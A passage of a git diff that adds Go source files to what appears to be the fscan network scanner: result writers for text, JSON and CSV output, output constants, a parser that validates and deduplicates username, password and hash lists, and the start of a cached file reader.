+ AutoFlush: DefaultAutoFlush,
+ FlushInterval: DefaultFlushInterval,
+ }
+}
+
+// Statistics 输出统计信息
+type Statistics struct {
+ mu sync.RWMutex
+ TotalResults int64 `json:"total_results"` // 总结果数
+ TypeCounts map[ResultType]int64 `json:"type_counts"` // 各类型计数
+ StartTime time.Time `json:"start_time"` // 开始时间
+ LastUpdate time.Time `json:"last_update"` // 最后更新时间
+}
+
+// NewStatistics 创建新的统计信息
+func NewStatistics() *Statistics {
+ return &Statistics{
+ TypeCounts: make(map[ResultType]int64),
+ StartTime: time.Now(),
+ LastUpdate: time.Now(),
+ }
+}
+
+// AddResult 添加结果统计
+func (s *Statistics) AddResult(resultType ResultType) {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ s.TotalResults++
+ s.TypeCounts[resultType]++
+ s.LastUpdate = time.Now()
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):
+// GetTotalResults, GetTypeCounts, GetDuration, Reset 方法
+// =============================================================================================
diff --git a/common/output/Writers.go b/common/output/Writers.go
new file mode 100644
index 0000000..0ace2f7
--- /dev/null
+++ b/common/output/Writers.go
@@ -0,0 +1,459 @@
+package output
+
+import (
+ "encoding/csv"
+ "encoding/json"
+ "fmt"
+ "os"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+// TXTWriter 文本格式写入器
+type TXTWriter struct {
+ file *os.File
+ mu sync.Mutex
+ closed bool
+}
+
+// NewTXTWriter 创建文本写入器
+func NewTXTWriter(filePath string) (*TXTWriter, error) {
+ file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
+ if err != nil {
+ return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "文本", err)
+ }
+
+ return &TXTWriter{
+ file: file,
+ }, nil
+}
+
+// WriteHeader 写入头部(文本格式无需头部)
+func (w *TXTWriter) WriteHeader() error {
+ return nil
+}
+
+// Write 写入扫描结果
+func (w *TXTWriter) Write(result *ScanResult) error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return fmt.Errorf(i18n.GetText("output_writer_closed"))
+ }
+
+ // 格式化 Details 为键值对字符串
+ var details string
+ if len(result.Details) > 0 {
+ pairs := make([]string, 0, len(result.Details))
+ for k, v := range result.Details {
+ pairs = append(pairs, fmt.Sprintf(TxtKeyValueFormat, k, v))
+ }
+ details = strings.Join(pairs, TxtDetailsSeparator)
+ }
+
+ // 使用类似原有格式的文本输出
+ txt := fmt.Sprintf(TxtOutputTemplate,
+ result.Time.Format(TxtTimeFormat),
+ result.Type,
+ result.Target,
+ result.Status,
+ )
+ if details != "" {
+ txt += fmt.Sprintf(TxtDetailsFormat, details)
+ }
+ txt += TxtNewline
+
+ _, err := w.file.WriteString(txt)
+ return err
+}
+
+// Flush 刷新缓冲区
+func (w *TXTWriter) Flush() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return nil
+ }
+
+ return w.file.Sync()
+}
+
+// Close 关闭写入器
+func (w *TXTWriter) Close() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return nil
+ }
+
+ w.closed = true
+ return w.file.Close()
+}
+
+// GetFormat 获取格式类型
+func (w *TXTWriter) GetFormat() OutputFormat {
+ return FormatTXT
+}
+
+// JSONWriter JSON格式写入器
+type JSONWriter struct {
+ file *os.File
+ encoder *json.Encoder
+ mu sync.Mutex
+ closed bool
+}
+
+// NewJSONWriter 创建JSON写入器
+func NewJSONWriter(filePath string) (*JSONWriter, error) {
+ file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
+ if err != nil {
+ return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "JSON", err)
+ }
+
+ encoder := json.NewEncoder(file)
+ encoder.SetIndent(JSONIndentPrefix, JSONIndentString)
+
+ return &JSONWriter{
+ file: file,
+ encoder: encoder,
+ }, nil
+}
+
+// WriteHeader 写入头部(JSON格式无需头部)
+func (w *JSONWriter) WriteHeader() error {
+ return nil
+}
+
+// Write 写入扫描结果
+func (w *JSONWriter) Write(result *ScanResult) error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return fmt.Errorf(i18n.GetText("output_writer_closed"))
+ }
+
+ return w.encoder.Encode(result)
+}
+
+// Flush 刷新缓冲区
+func (w *JSONWriter) Flush() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return nil
+ }
+
+ return w.file.Sync()
+}
+
+// Close 关闭写入器
+func (w *JSONWriter) Close() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return nil
+ }
+
+ w.closed = true
+ return w.file.Close()
+}
+
+// GetFormat 获取格式类型
+func (w *JSONWriter) GetFormat() OutputFormat {
+ return FormatJSON
+}
+
+// CSVWriter CSV格式写入器
+type CSVWriter struct {
+ file *os.File
+ csvWriter *csv.Writer
+ mu sync.Mutex
+ closed bool
+ headerWritten bool
+}
+
+// NewCSVWriter 创建CSV写入器
+func NewCSVWriter(filePath string) (*CSVWriter, error) {
+ file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
+ if err != nil {
+ return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "CSV", err)
+ }
+
+ csvWriter := csv.NewWriter(file)
+
+ return &CSVWriter{
+ file: file,
+ csvWriter: csvWriter,
+ }, nil
+}
+
+// WriteHeader 写入CSV头部
+func (w *CSVWriter) WriteHeader() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.headerWritten {
+ return nil
+ }
+
+ headers := CSVHeaders
+ err := w.csvWriter.Write(headers)
+ if err != nil {
+ return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
+ }
+
+ w.csvWriter.Flush()
+ w.headerWritten = true
+ return w.csvWriter.Error()
+}
+
+// Write 写入扫描结果
+func (w *CSVWriter) Write(result *ScanResult) error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return fmt.Errorf(i18n.GetText("output_writer_closed"))
+ }
+
+ // 确保头部已写入
+ if !w.headerWritten {
+ if err := w.writeHeaderUnsafe(); err != nil {
+ return err
+ }
+ }
+
+ // 序列化Details为JSON字符串
+ details, err := json.Marshal(result.Details)
+ if err != nil {
+ details = []byte(EmptyJSONObject)
+ }
+
+ record := []string{
+ result.Time.Format(DefaultTimeFormat),
+ string(result.Type),
+ result.Target,
+ result.Status,
+ string(details),
+ }
+
+ err = w.csvWriter.Write(record)
+ if err != nil {
+ return err
+ }
+
+ w.csvWriter.Flush()
+ return w.csvWriter.Error()
+}
+
+// writeHeaderUnsafe 不安全的写入头部(内部使用,无锁)
+func (w *CSVWriter) writeHeaderUnsafe() error {
+ if w.headerWritten {
+ return nil
+ }
+
+ headers := CSVHeaders
+ err := w.csvWriter.Write(headers)
+ if err != nil {
+ return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
+ }
+
+ w.csvWriter.Flush()
+ w.headerWritten = true
+ return w.csvWriter.Error()
+}
+
+// Flush 刷新缓冲区
+func (w *CSVWriter) Flush() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return nil
+ }
+
+ w.csvWriter.Flush()
+ return w.csvWriter.Error()
+}
+
+// Close 关闭写入器
+func (w *CSVWriter) Close() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.closed {
+ return nil
+ }
+
+ w.csvWriter.Flush()
+ err := w.csvWriter.Error()
+ w.closed = true
+
+ if fileErr := w.file.Close(); fileErr != nil && err == nil {
+ err = fileErr
+ }
+
+ return err
+}
+
+// GetFormat 获取格式类型
+func (w *CSVWriter) GetFormat() OutputFormat {
+ return FormatCSV
+}
+
+// CSVReader CSV格式读取器
+type CSVReader struct {
+ filePath string
+ mu sync.Mutex
+}
+
+// NewCSVReader 创建CSV读取器
+func NewCSVReader(filePath string) *CSVReader {
+ return &CSVReader{
+ filePath: filePath,
+ }
+}
+
+// Read 读取所有结果
+func (r *CSVReader) Read() ([]*ScanResult, error) {
+ return r.ReadWithFilter(nil)
+}
+
+// ReadWithFilter 带过滤条件读取结果
+func (r *CSVReader) ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error) {
+ r.mu.Lock()
+ defer r.mu.Unlock()
+
+ file, err := os.Open(r.filePath)
+ if err != nil {
+ return nil, fmt.Errorf(i18n.GetText("output_open_file_failed"), err)
+ }
+ defer file.Close()
+
+ reader := csv.NewReader(file)
+ records, err := reader.ReadAll()
+ if err != nil {
+ return nil, fmt.Errorf(i18n.GetText("output_read_file_failed"), err)
+ }
+
+ var results []*ScanResult
+ for i, row := range records {
+ // 跳过CSV头部
+ if i == CSVHeaderRowIndex {
+ continue
+ }
+ if len(row) < CSVMinColumns {
+ continue // 数据不完整
+ }
+
+ result, err := r.parseCSVRow(row)
+ if err != nil {
+ continue // 跳过解析失败的行
+ }
+
+ // 应用过滤器
+ if filter != nil && !r.matchFilter(result, filter) {
+ continue
+ }
+
+ results = append(results, result)
+
+ // 应用限制
+ if filter != nil && filter.Limit > 0 && len(results) >= filter.Limit {
+ break
+ }
+ }
+
+ return results, nil
+}
+
+// parseCSVRow 解析CSV行
+func (r *CSVReader) parseCSVRow(row []string) (*ScanResult, error) {
+ // 解析时间
+ t, err := parseTime(row[CSVTimeColumnIndex])
+ if err != nil {
+ return nil, err
+ }
+
+ // 解析Details
+ var details map[string]interface{}
+ if err := json.Unmarshal([]byte(row[CSVDetailsColumnIndex]), &details); err != nil {
+ details = make(map[string]interface{})
+ }
+
+ return &ScanResult{
+ Time: t,
+ Type: ResultType(row[CSVTypeColumnIndex]),
+ Target: row[CSVTargetColumnIndex],
+ Status: row[CSVStatusColumnIndex],
+ Details: details,
+ }, nil
+}
+
+// matchFilter 检查结果是否匹配过滤器
+func (r *CSVReader) matchFilter(result *ScanResult, filter *ResultFilter) bool {
+ // 检查类型过滤
+ if len(filter.Types) > 0 {
+ found := false
+ for _, t := range filter.Types {
+ if result.Type == t {
+ found = true
+ break
+ }
+ }
+ if !found {
+ return false
+ }
+ }
+
+ // 检查目标过滤
+ if len(filter.Targets) > 0 {
+ found := false
+ for _, target := range filter.Targets {
+ if strings.Contains(result.Target, target) {
+ found = true
+ break
+ }
+ }
+ if !found {
+ return false
+ }
+ }
+
+ // 检查时间范围过滤
+ if filter.TimeRange != nil {
+ if result.Time.Before(filter.TimeRange.Start) || result.Time.After(filter.TimeRange.End) {
+ return false
+ }
+ }
+
+ return true
+}
+
+// Close 关闭读取器
+func (r *CSVReader) Close() error {
+ return nil // CSV读取器无需特殊关闭操作
+}
+
+// parseTime 解析时间字符串
+func parseTime(timeStr string) (time.Time, error) {
+ // 尝试多种时间格式
+ formats := GetSupportedTimeFormats()
+
+ for _, format := range formats {
+ if t, err := time.Parse(format, timeStr); err == nil {
+ return t, nil
+ }
+ }
+
+ return time.Time{}, fmt.Errorf(i18n.GetText("output_parse_time_failed"), timeStr)
+}
\ No newline at end of file
diff --git a/common/output/constants.go b/common/output/constants.go
new file mode 100644
index 0000000..5dcdd8a
--- /dev/null
+++ b/common/output/constants.go
@@ -0,0 +1,129 @@
+package output
+
+import (
+ "os"
+ "time"
+)
+
+/*
+constants.go - 输出系统常量定义
+
+统一管理common/output包中的所有常量,便于查看和编辑。
+*/
+
+// =============================================================================
+// 输出格式常量 (从Types.go迁移)
+// =============================================================================
+
+// OutputFormat 输出格式类型
+type OutputFormat string
+
+const (
+ FormatTXT OutputFormat = "txt" // 文本格式
+ FormatJSON OutputFormat = "json" // JSON格式
+ FormatCSV OutputFormat = "csv" // CSV格式
+)
+
+// =============================================================================
+// 结果类型常量 (从Types.go迁移)
+// =============================================================================
+
+// ResultType 定义结果类型
+type ResultType string
+
+const (
+ TypeHost ResultType = "HOST" // 主机存活
+ TypePort ResultType = "PORT" // 端口开放
+ TypeService ResultType = "SERVICE" // 服务识别
+ TypeVuln ResultType = "VULN" // 漏洞发现
+)
+
+// =============================================================================
+// 默认配置常量
+// =============================================================================
+
+const (
+ // 默认缓冲区配置
+ DefaultBufferSize = 100 // 默认缓冲区大小
+ DefaultEnableBuffer = true // 默认启用缓冲
+ DefaultAutoFlush = true // 默认启用自动刷新
+ DefaultFlushInterval = 5 * time.Second // 默认刷新间隔
+
+ // 文件权限常量
+ DefaultFilePermissions = 0644 // 默认文件权限
+ DefaultDirPermissions = 0755 // 默认目录权限
+
+ // 文件操作标志
+ DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND // 默认文件打开标志
+)
+
+// =============================================================================
+// CSV格式常量 (从Writers.go迁移)
+// =============================================================================
+
+var (
+ // CSV头部字段
+ CSVHeaders = []string{"Time", "Type", "Target", "Status", "Details"}
+)
+
+// =============================================================================
+// 时间格式常量 (从Writers.go迁移)
+// =============================================================================
+
+const (
+ // 时间格式
+ DefaultTimeFormat = "2006-01-02 15:04:05" // 默认时间格式
+ ISO8601TimeFormat = "2006-01-02T15:04:05Z07:00" // ISO8601时间格式
+ ISO8601MilliFormat = "2006-01-02T15:04:05.000Z07:00" // ISO8601毫秒格式
+)
+
+// GetSupportedTimeFormats 获取支持的时间格式列表
+func GetSupportedTimeFormats() []string {
+ return []string{
+ DefaultTimeFormat,
+ ISO8601TimeFormat,
+ ISO8601MilliFormat,
+ }
+}
+
+// =============================================================================
+// JSON常量
+// =============================================================================
+
+const (
+ // JSON格式化
+ JSONIndentPrefix = "" // JSON缩进前缀
+ JSONIndentString = " " // JSON缩进字符串
+
+ // 空JSON对象
+ EmptyJSONObject = "{}"
+)
+
+// =============================================================================
+// 文本格式常量 (从Writers.go迁移)
+// =============================================================================
+
+const (
+ // 文本输出格式
+ TxtTimeFormat = "2006-01-02 15:04:05" // 文本时间格式
+ TxtOutputTemplate = "[%s] [%s] %s - %s" // 文本输出模板
+ TxtDetailsFormat = " (%s)" // 详细信息格式
+ TxtNewline = "\n" // 换行符
+ TxtDetailsSeparator = ", " // 详细信息分隔符
+ TxtKeyValueFormat = "%s=%v" // 键值对格式
+)
+
+
+// =============================================================================
+// CSV相关常量
+// =============================================================================
+
+const (
+ CSVMinColumns = 5 // CSV最小列数
+ CSVHeaderRowIndex = 0 // CSV头部行索引
+ CSVTimeColumnIndex = 0 // 时间列索引
+ CSVTypeColumnIndex = 1 // 类型列索引
+ CSVTargetColumnIndex = 2 // 目标列索引
+ CSVStatusColumnIndex = 3 // 状态列索引
+ CSVDetailsColumnIndex = 4 // 详细信息列索引
+)
\ No newline at end of file
diff --git a/common/parsers/CredentialParser.go b/common/parsers/CredentialParser.go
new file mode 100644
index 0000000..134eb3e
--- /dev/null
+++ b/common/parsers/CredentialParser.go
@@ -0,0 +1,365 @@
+package parsers
+
+import (
+ "encoding/hex"
+ "fmt"
+ "regexp"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+// CredentialParser 凭据解析器
+type CredentialParser struct {
+ fileReader *FileReader
+ mu sync.RWMutex //nolint:unused // reserved for future thread safety
+ hashRegex *regexp.Regexp
+ options *CredentialParserOptions
+}
+
+// CredentialParserOptions 凭据解析器选项
+type CredentialParserOptions struct {
+ MaxUsernameLength int `json:"max_username_length"`
+ MaxPasswordLength int `json:"max_password_length"`
+ AllowEmptyPasswords bool `json:"allow_empty_passwords"`
+ ValidateHashes bool `json:"validate_hashes"`
+ DeduplicateUsers bool `json:"deduplicate_users"`
+ DeduplicatePasswords bool `json:"deduplicate_passwords"`
+ EnableStatistics bool `json:"enable_statistics"`
+}
+
+// DefaultCredentialParserOptions 默认凭据解析器选项
+func DefaultCredentialParserOptions() *CredentialParserOptions {
+ return &CredentialParserOptions{
+ MaxUsernameLength: DefaultMaxUsernameLength,
+ MaxPasswordLength: DefaultMaxPasswordLength,
+ AllowEmptyPasswords: DefaultAllowEmptyPasswords,
+ ValidateHashes: DefaultValidateHashes,
+ DeduplicateUsers: DefaultDeduplicateUsers,
+ DeduplicatePasswords: DefaultDeduplicatePasswords,
+ EnableStatistics: DefaultCredentialsEnableStatistics,
+ }
+}
+
+// NewCredentialParser 创建凭据解析器
+func NewCredentialParser(fileReader *FileReader, options *CredentialParserOptions) *CredentialParser {
+ if options == nil {
+ options = DefaultCredentialParserOptions()
+ }
+
+ // 编译哈希验证正则表达式 (MD5: 32位十六进制)
+ hashRegex := CompiledHashRegex
+
+ return &CredentialParser{
+ fileReader: fileReader,
+ hashRegex: hashRegex,
+ options: options,
+ }
+}
+
+// CredentialInput 凭据输入参数
+type CredentialInput struct {
+ // 直接输入
+ Username string `json:"username"`
+ Password string `json:"password"`
+ AddUsers string `json:"add_users"`
+ AddPasswords string `json:"add_passwords"`
+ HashValue string `json:"hash_value"`
+ SshKeyPath string `json:"ssh_key_path"`
+ Domain string `json:"domain"`
+
+ // 文件输入
+ UsersFile string `json:"users_file"`
+ PasswordsFile string `json:"passwords_file"`
+ HashFile string `json:"hash_file"`
+}
+
+// Parse 解析凭据配置
+func (cp *CredentialParser) Parse(input *CredentialInput, options *ParserOptions) (*ParseResult, error) {
+ if input == nil {
+ return nil, NewParseError(ErrorTypeInputError, "凭据输入为空", "", 0, ErrEmptyInput)
+ }
+
+ startTime := time.Now()
+ result := &ParseResult{
+ Config: &ParsedConfig{
+ Credentials: &CredentialConfig{
+ SshKeyPath: input.SshKeyPath,
+ Domain: input.Domain,
+ },
+ },
+ Success: true,
+ }
+
+ var errors []error
+ var warnings []string
+
+ // 解析用户名
+ usernames, userErrors, userWarnings := cp.parseUsernames(input)
+ errors = append(errors, userErrors...)
+ warnings = append(warnings, userWarnings...)
+
+ // 解析密码
+ passwords, passErrors, passWarnings := cp.parsePasswords(input)
+ errors = append(errors, passErrors...)
+ warnings = append(warnings, passWarnings...)
+
+ // 解析哈希值
+ hashValues, hashBytes, hashErrors, hashWarnings := cp.parseHashes(input)
+ errors = append(errors, hashErrors...)
+ warnings = append(warnings, hashWarnings...)
+
+ // 更新配置
+ result.Config.Credentials.Usernames = usernames
+ result.Config.Credentials.Passwords = passwords
+ result.Config.Credentials.HashValues = hashValues
+ result.Config.Credentials.HashBytes = hashBytes
+
+ // 生成统计信息
+ if cp.options.EnableStatistics {
+ result.Config.Credentials.Statistics = cp.generateStatistics(usernames, passwords, hashValues, hashBytes)
+ }
+
+ // 设置结果状态
+ result.Errors = errors
+ result.Warnings = warnings
+ result.ParseTime = time.Since(startTime)
+ result.Success = len(errors) == 0
+
+ return result, nil
+}
+
+// parseUsernames 解析用户名
+func (cp *CredentialParser) parseUsernames(input *CredentialInput) ([]string, []error, []string) {
+ var usernames []string
+ var errors []error
+ var warnings []string
+
+ // 解析命令行用户名
+ if input.Username != "" {
+ users := strings.Split(input.Username, ",")
+ for _, user := range users {
+ if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
+ usernames = append(usernames, processedUser)
+ } else if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeUsernameError, err.Error(), "command line", 0, err))
+ }
+ }
+ }
+
+ // 从文件读取用户名
+ if input.UsersFile != "" {
+ fileResult, err := cp.fileReader.ReadFile(input.UsersFile)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeFileError, "读取用户名文件失败", input.UsersFile, 0, err))
+ } else {
+ for i, line := range fileResult.Lines {
+ if processedUser, valid, err := cp.validateUsername(line); valid {
+ usernames = append(usernames, processedUser)
+ } else if err != nil {
+ warnings = append(warnings, fmt.Sprintf("用户名文件第%d行无效: %s", i+1, err.Error()))
+ }
+ }
+ }
+ }
+
+ // 处理额外用户名
+ if input.AddUsers != "" {
+ extraUsers := strings.Split(input.AddUsers, ",")
+ for _, user := range extraUsers {
+ if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
+ usernames = append(usernames, processedUser)
+ } else if err != nil {
+ warnings = append(warnings, fmt.Sprintf("额外用户名无效: %s", err.Error()))
+ }
+ }
+ }
+
+ // 去重
+ if cp.options.DeduplicateUsers {
+ usernames = cp.removeDuplicateStrings(usernames)
+ }
+
+ return usernames, errors, warnings
+}
+
+// parsePasswords 解析密码
+func (cp *CredentialParser) parsePasswords(input *CredentialInput) ([]string, []error, []string) {
+ var passwords []string
+ var errors []error
+ var warnings []string
+
+ // 解析命令行密码
+ if input.Password != "" {
+ passes := strings.Split(input.Password, ",")
+ for _, pass := range passes {
+ if processedPass, valid, err := cp.validatePassword(pass); valid {
+ passwords = append(passwords, processedPass)
+ } else if err != nil {
+ errors = append(errors, NewParseError(ErrorTypePasswordError, err.Error(), "command line", 0, err))
+ }
+ }
+ }
+
+ // 从文件读取密码
+ if input.PasswordsFile != "" {
+ fileResult, err := cp.fileReader.ReadFile(input.PasswordsFile)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeFileError, "读取密码文件失败", input.PasswordsFile, 0, err))
+ } else {
+ for i, line := range fileResult.Lines {
+ if processedPass, valid, err := cp.validatePassword(line); valid {
+ passwords = append(passwords, processedPass)
+ } else if err != nil {
+ warnings = append(warnings, fmt.Sprintf("密码文件第%d行无效: %s", i+1, err.Error()))
+ }
+ }
+ }
+ }
+
+ // 处理额外密码
+ if input.AddPasswords != "" {
+ extraPasses := strings.Split(input.AddPasswords, ",")
+ for _, pass := range extraPasses {
+ if processedPass, valid, err := cp.validatePassword(pass); valid {
+ passwords = append(passwords, processedPass)
+ } else if err != nil {
+ warnings = append(warnings, fmt.Sprintf("额外密码无效: %s", err.Error()))
+ }
+ }
+ }
+
+ // 去重
+ if cp.options.DeduplicatePasswords {
+ passwords = cp.removeDuplicateStrings(passwords)
+ }
+
+ return passwords, errors, warnings
+}
+
+// parseHashes 解析哈希值
+func (cp *CredentialParser) parseHashes(input *CredentialInput) ([]string, [][]byte, []error, []string) {
+ var hashValues []string
+ var hashBytes [][]byte
+ var errors []error
+ var warnings []string
+
+ // 解析单个哈希值
+ if input.HashValue != "" {
+ if valid, err := cp.validateHash(input.HashValue); valid {
+ hashValues = append(hashValues, input.HashValue)
+ } else {
+ errors = append(errors, NewParseError(ErrorTypeHashError, err.Error(), "command line", 0, err))
+ }
+ }
+
+ // 从文件读取哈希值
+ if input.HashFile != "" {
+ fileResult, err := cp.fileReader.ReadFile(input.HashFile)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeFileError, "读取哈希文件失败", input.HashFile, 0, err))
+ } else {
+ for i, line := range fileResult.Lines {
+ if valid, err := cp.validateHash(line); valid {
+ hashValues = append(hashValues, line)
+ } else {
+ warnings = append(warnings, fmt.Sprintf("哈希文件第%d行无效: %s", i+1, err.Error()))
+ }
+ }
+ }
+ }
+
+ // 转换哈希值为字节数组
+ for _, hash := range hashValues {
+ if hashByte, err := hex.DecodeString(hash); err == nil {
+ hashBytes = append(hashBytes, hashByte)
+ } else {
+ warnings = append(warnings, fmt.Sprintf("哈希值解码失败: %s", hash))
+ }
+ }
+
+ return hashValues, hashBytes, errors, warnings
+}
+
+// validateUsername 验证用户名
+func (cp *CredentialParser) validateUsername(username string) (string, bool, error) {
+ if len(username) == 0 {
+ return "", false, nil // 允许空用户名,但不添加到列表
+ }
+
+ if len(username) > cp.options.MaxUsernameLength {
+ return "", false, fmt.Errorf(i18n.GetText("parser_username_too_long"), len(username), cp.options.MaxUsernameLength)
+ }
+
+ // 检查特殊字符
+ if strings.ContainsAny(username, InvalidUsernameChars) {
+ return "", false, fmt.Errorf("%s", i18n.GetText("parser_username_invalid_chars"))
+ }
+
+ return username, true, nil
+}
+
+// validatePassword 验证密码
+func (cp *CredentialParser) validatePassword(password string) (string, bool, error) {
+ if len(password) == 0 && !cp.options.AllowEmptyPasswords {
+ return "", false, fmt.Errorf("%s", i18n.GetText("parser_password_empty"))
+ }
+
+ if len(password) > cp.options.MaxPasswordLength {
+ return "", false, fmt.Errorf(i18n.GetText("parser_password_too_long"), len(password), cp.options.MaxPasswordLength)
+ }
+
+ return password, true, nil
+}
+
+// validateHash 验证哈希值
+func (cp *CredentialParser) validateHash(hash string) (bool, error) {
+ if !cp.options.ValidateHashes {
+ return true, nil
+ }
+
+ hash = strings.TrimSpace(hash)
+ if len(hash) == 0 {
+ return false, fmt.Errorf("%s", i18n.GetText("parser_hash_empty"))
+ }
+
+ if !cp.hashRegex.MatchString(hash) {
+ return false, fmt.Errorf("%s", i18n.GetText("parser_hash_invalid_format"))
+ }
+
+ return true, nil
+}
+
+// removeDuplicateStrings 去重字符串切片
+func (cp *CredentialParser) removeDuplicateStrings(slice []string) []string {
+ seen := make(map[string]struct{})
+ var result []string
+
+ for _, item := range slice {
+ if _, exists := seen[item]; !exists {
+ seen[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+
+ return result
+}
+
+// generateStatistics 生成统计信息
+func (cp *CredentialParser) generateStatistics(usernames, passwords, hashValues []string, hashBytes [][]byte) *CredentialStats {
+ return &CredentialStats{
+ TotalUsernames: len(usernames),
+ TotalPasswords: len(passwords),
+ TotalHashes: len(hashValues),
+ UniqueUsernames: len(cp.removeDuplicateStrings(usernames)),
+ UniquePasswords: len(cp.removeDuplicateStrings(passwords)),
+ ValidHashes: len(hashBytes),
+ InvalidHashes: len(hashValues) - len(hashBytes),
+ }
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
+// =============================================================================================
\ No newline at end of file
diff --git a/common/parsers/FileReader.go b/common/parsers/FileReader.go
new file mode 100644
index 0000000..cfdf25c
--- /dev/null
+++ b/common/parsers/FileReader.go
@@ -0,0 +1,293 @@
+package parsers
+
+import (
+ "bufio"
+ "context"
+ "fmt"
+ "os"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+// FileReader 高性能文件读取器
+type FileReader struct {
+ mu sync.RWMutex
+ cache map[string]*FileResult // 文件缓存
+ maxCacheSize int // 最大缓存大小
+ enableCache bool // 是否启用缓存
+ maxFileSize int64 // 最大文件大小
+ timeout time.Duration // 读取超时
+ enableValidation bool // 是否启用内容验证
+}
+
+// FileResult 文件读取结果
+type FileResult struct {
+ Lines []string `json:"lines"`
+ Source *FileSource `json:"source"`
+ ReadTime time.Duration `json:"read_time"`
+ ValidLines int `json:"valid_lines"`
+ Errors []error `json:"errors,omitempty"`
+ Cached bool `json:"cached"`
+}
+
+// NewFileReader 创建文件读取器
+func NewFileReader(options *FileReaderOptions) *FileReader {
+ if options == nil {
+ options = DefaultFileReaderOptions()
+ }
+
+ return &FileReader{
+ cache: make(map[string]*FileResult),
+ maxCacheSize: options.MaxCacheSize,
+ enableCache: options.EnableCache,
+ maxFileSize: options.MaxFileSize,
+ timeout: options.Timeout,
+ enableValidation: options.EnableValidation,
+ }
+}
+
+// FileReaderOptions 文件读取器选项
+type FileReaderOptions struct {
+ MaxCacheSize int // 最大缓存文件数
+ EnableCache bool // 启用文件缓存
+ MaxFileSize int64 // 最大文件大小(字节)
+ Timeout time.Duration // 读取超时
+ EnableValidation bool // 启用内容验证
+ TrimSpace bool // 自动清理空白字符
+ SkipEmpty bool // 跳过空行
+ SkipComments bool // 跳过注释行(#开头)
+}
+
+// DefaultFileReaderOptions 默认文件读取器选项
+func DefaultFileReaderOptions() *FileReaderOptions {
+ return &FileReaderOptions{
+ MaxCacheSize: DefaultMaxCacheSize,
+ EnableCache: DefaultEnableCache,
+ MaxFileSize: DefaultFileReaderMaxFileSize,
+ Timeout: DefaultFileReaderTimeout,
+ EnableValidation: DefaultFileReaderEnableValidation,
+ TrimSpace: DefaultTrimSpace,
+ SkipEmpty: DefaultSkipEmpty,
+ SkipComments: DefaultSkipComments,
+ }
+}
+
+// ReadFile 读取文件内容
+func (fr *FileReader) ReadFile(filename string, options ...*FileReaderOptions) (*FileResult, error) {
+ if filename == "" {
+ return nil, NewParseError("FILE_ERROR", "文件名为空", filename, 0, ErrEmptyInput)
+ }
+
+ // 检查缓存
+ if fr.enableCache {
+ if result := fr.getFromCache(filename); result != nil {
+ result.Cached = true
+ return result, nil
+ }
+ }
+
+ // 合并选项
+ opts := fr.mergeOptions(options...)
+
+ // 创建带超时的上下文
+ ctx, cancel := context.WithTimeout(context.Background(), fr.timeout)
+ defer cancel()
+
+ // 异步读取文件
+ resultChan := make(chan *FileResult, 1)
+ errorChan := make(chan error, 1)
+
+ go func() {
+ result, err := fr.readFileSync(filename, opts)
+ if err != nil {
+ errorChan <- err
+ } else {
+ resultChan <- result
+ }
+ }()
+
+ // 等待结果或超时
+ select {
+ case result := <-resultChan:
+ // 添加到缓存
+ if fr.enableCache {
+ fr.addToCache(filename, result)
+ }
+ return result, nil
+ case err := <-errorChan:
+ return nil, err
+ case <-ctx.Done():
+ return nil, NewParseError(ErrorTypeTimeout, "文件读取超时", filename, 0, ctx.Err())
+ }
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):ReadFiles 并发读取多个文件的方法
+// =============================================================================================
+
+// readFileSync 同步读取文件
+func (fr *FileReader) readFileSync(filename string, options *FileReaderOptions) (*FileResult, error) {
+ startTime := time.Now()
+
+ // 检查文件
+ fileInfo, err := os.Stat(filename)
+ if err != nil {
+ return nil, NewParseError("FILE_ERROR", "文件不存在或无法访问", filename, 0, err)
+ }
+
+ // 检查文件大小
+ if fileInfo.Size() > fr.maxFileSize {
+ return nil, NewParseError("FILE_ERROR",
+ fmt.Sprintf("文件过大: %d bytes, 最大限制: %d bytes", fileInfo.Size(), fr.maxFileSize),
+ filename, 0, nil)
+ }
+
+ // 打开文件
+ file, err := os.Open(filename)
+ if err != nil {
+ return nil, NewParseError("FILE_ERROR", "无法打开文件", filename, 0, err)
+ }
+ defer file.Close()
+
+ // 创建结果
+ result := &FileResult{
+ Lines: make([]string, 0),
+ Source: &FileSource{
+ Path: filename,
